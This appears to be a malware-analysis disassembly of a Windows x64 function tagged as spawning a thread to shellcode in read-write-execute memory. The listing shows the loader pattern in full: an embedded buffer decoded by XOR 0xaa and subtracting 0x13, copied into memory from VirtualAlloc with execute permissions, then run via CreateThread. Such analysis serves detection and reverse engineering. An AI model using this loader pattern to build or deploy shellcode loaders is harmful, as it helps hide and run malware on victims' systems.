Function at 0x140005110
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x390
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x308], 0xfffffffffffffffe
lea rax, [0x140021f40]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x70], 0x228
lea rcx, [rbp + 0xb8]
call fcn.140005090
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0xb8]
call fcn.140004570
movabs rdx, 0x8000000000000000
xor eax, eax
mov ecx, 1
cmp qword [rbp + 0xa0], rdx
cmove rax, rcx
cmp rax, 0
jne 0x1400051c5
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0xe0], rax
movups xmm0, xmmword [rbp + 0xa0]
movaps xmmword [rbp + 0xd0], xmm0
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0x90], rax
movaps xmm0, xmmword [rbp + 0xd0]
movaps xmmword [rbp + 0x80], xmm0
lea rcx, [rbp + 0xf0]
call fcn.140006d60
jmp 0x1400051e8
mov rcx, qword [rbp + 0xa8]
mov qword [rbp + 0x260], rcx
lea rdx, [0x1400221f0]
call fcn.140004450
mov qword [rbp + 0x78], rax
jmp 0x140005559
lea rcx, [0x140021f40]
mov edx, 0x228
call fcn.140001190
mov qword [rbp + 0x58], rdx
mov qword [rbp + 0x60], rax
jmp 0x140005203
mov rdx, qword [rbp + 0x58]
mov rcx, qword [rbp + 0x60]
call fcn.140004d30
mov qword [rbp + 0x48], rdx
mov qword [rbp + 0x50], rax
jmp 0x14000521a
mov rax, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x50]
mov qword [rbp + 0x108], rcx
mov qword [rbp + 0x110], rax
lea rcx, [rbp + 0x108]
call fcn.1400023d0
mov dword [rbp + 0x44], eax
jmp 0x140005241
mov eax, dword [rbp + 0x44]
mov dword [rbp + 0x118], eax
cmp dword [rbp + 0x118], 0x110000
sete al
test al, 1
jne 0x14000525d
jmp 0x140005273
lea rcx, [rbp + 0xf0]
call fcn.140006a70
mov qword [rbp + 0x30], rdx
mov qword [rbp + 0x38], rax
jmp 0x140005298
mov eax, dword [rbp + 0x118]
mov dword [rbp + 0x11c], eax
lea rcx, [rbp + 0x80]
call fcn.140007010
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], rax
jmp 0x140005566
mov rax, qword [rbp + 0x30]
mov rcx, qword [rbp + 0x38]
mov qword [rbp + 0x1a0], rcx
mov qword [rbp + 0x1a8], rax
lea rcx, [rbp + 0x1a0]
call fcn.140004b20
mov qword [rbp + 0x18], rax
jmp 0x1400052c0
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
cmp rax, 0
sete al
test al, 1
jne 0x1400052df
jmp 0x1400052f5
lea rcx, [rbp + 0xf0]
call fcn.140006a70
mov qword [rbp + 8], rdx
mov qword [rbp + 0x10], rax
jmp 0x14000530c
mov rax, qword [rbp + 0x1b0]
mov qword [rbp + 0x250], rax
mov cl, byte [rax]
xor cl, 0xaa
mov byte [rax], cl
jmp 0x1400052ae
mov rax, qword [rbp + 8]
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1b8], rcx
mov qword [rbp + 0x1c0], rax
lea rcx, [rbp + 0x1b8]
call fcn.140004b20
mov qword [rbp], rax
jmp 0x140005334
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x1c8]
cmp rax, 0
sete al
test al, 1
jne 0x140005353
jmp 0x14000537b
mov qword [rbp + 0x2f8], 0
mov qword [rbp + 0x300], 0
lea rcx, [rbp + 0xf0]
call fcn.140006f20
mov qword [rbp - 8], rax
jmp 0x14000539f
mov rax, qword [rbp + 0x1c8]
mov qword [rbp + 0x248], rax
mov cl, byte [rax]
mov byte [rbp + 0x2d6], cl
mov byte [rbp + 0x2d7], 0x13
sub cl, 0x13
mov byte [rax], cl
jmp 0x140005322
mov rdx, qword [rbp - 8]
xor eax, eax
mov ecx, eax
mov r8d, 0x1000
mov r9d, 0x40
call sub.KERNEL32.dll_VirtualAlloc
mov qword [rbp - 0x10], rax
mov qword [rbp + 0x238], rax
call sub.KERNEL32.dll_GetLastError
cmp eax, 0
jne 0x1400053df
lea rcx, [rbp + 0xf0]
call fcn.140006ff0
mov qword [rbp - 0x18], rax
jmp 0x140005456
call sub.KERNEL32.dll_GetLastError
mov dword [rbp + 0x234], eax
lea rcx, [rbp + 0x234]
mov qword [rbp + 0x2b8], rcx
lea rax, [0x14001df50]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x2c8], rcx
mov qword [rbp + 0x2a8], rcx
mov qword [rbp + 0x2b0], rax
movups xmm0, xmmword [rbp + 0x2a8]
movaps xmmword [rbp + 0x220], xmm0
movaps xmm0, xmmword [rbp + 0x220]
movaps xmmword [rbp + 0x210], xmm0
lea rdx, [0x140022178]
lea rcx, [rbp + 0x1e0]
lea r8, [rbp + 0x210]
call fcn.140004cb0
jmp 0x14000553d
lea rcx, [rbp + 0xf0]
call fcn.140006f20
mov qword [rbp - 0x20], rax
jmp 0x140005468
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
mov qword [rbp + 0x268], rcx
mov qword [rbp + 0x270], rdx
mov qword [rbp + 0x278], rax
mov r8d, 1
call fcn.140001910
mov rdx, qword [rbp - 0x18]
mov r8, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x10]
call sub.VCRUNTIME140.dll_memmove
mov rax, qword [rbp - 0x10]
mov dword [rbp + 0x1d4], 0
mov qword [rbp + 0x2d8], 0
mov qword [rbp + 0x2e0], 0
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 0x2e8], 0
mov qword [rbp + 0x2f0], 0
mov r8, qword [rbp + 0x1d8]
xor eax, eax
mov r9d, eax
xor eax, eax
lea rax, [rbp + 0x1d4]
mov rcx, r9
mov rdx, r9
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], rax
call sub.KERNEL32.dll_CreateThread
mov rcx, rax
mov qword [rbp + 0x240], rcx
mov edx, 0xffffffff
call sub.KERNEL32.dll_WaitForSingleObject
mov qword [rbp + 0x78], 0
lea rcx, [rbp + 0xf0]
call fcn.140001df0
jmp 0x14000554d
lea rcx, [rbp + 0x1e0]
call fcn.14000aea0
jmp 0x14000554b
jmp 0x140005527
lea rcx, [rbp + 0x80]
call fcn.140001e70
mov rax, qword [rbp + 0x78]
add rsp, 0x390
pop rbp
ret
mov rdx, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x28]
call fcn.140005740
mov qword [rbp - 0x30], rdx
mov qword [rbp - 0x28], rax
jmp 0x14000557d
mov rax, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x28]
mov qword [rbp + 0x130], rcx
mov qword [rbp + 0x138], rax
lea rcx, [rbp + 0x130]
lea rdx, [rbp + 0x11c]
call fcn.1400049b0
mov qword [rbp - 0x40], rdx
mov qword [rbp - 0x38], rax
jmp 0x1400055b0
mov rax, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x38]
mov qword [rbp + 0x120], rcx
mov qword [rbp + 0x128], rax
cmp qword [rbp + 0x120], 1
jne 0x1400055ee
mov rax, qword [rbp + 0x128]
mov qword [rbp + 0x258], rax
mov dl, al
lea rcx, [rbp + 0xf0]
call fcn.140006f30
jmp 0x140005657
lea rcx, [rbp + 0x11c]
mov qword [rbp + 0x290], rcx
lea rax, [fcn.14001bce0]
mov qword [rbp + 0x298], rax
mov qword [rbp + 0x2a0], rcx
mov qword [rbp + 0x280], rcx
mov qword [rbp + 0x288], rax
movups xmm0, xmmword [rbp + 0x280]
movaps xmmword [rbp + 0x180], xmm0
movaps xmm0, xmmword [rbp + 0x180]
movaps xmmword [rbp + 0x170], xmm0
lea rdx, str.:___n
lea rcx, [rbp + 0x140]
lea r8, [rbp + 0x170]
call fcn.140004cb0
jmp 0x14000565c
jmp 0x140005230
lea rcx, [rbp + 0x140]
call fcn.14000afb0
jmp 0x14000566a
mov byte [rbp + 0x19f], 0x15
mov cl, byte [rbp + 0x19f]
lea rdx, str.
mov r8d, 0xf
call fcn.140001b40
mov qword [rbp - 0x48], rax
jmp 0x14000568f
mov rax, qword [rbp - 0x48]
mov qword [rbp + 0x78], rax
lea rcx, [rbp + 0xf0]
call fcn.140001df0
jmp 0x1400056a5
lea rcx, [rbp + 0x80]
call fcn.140001e70
jmp 0x140005559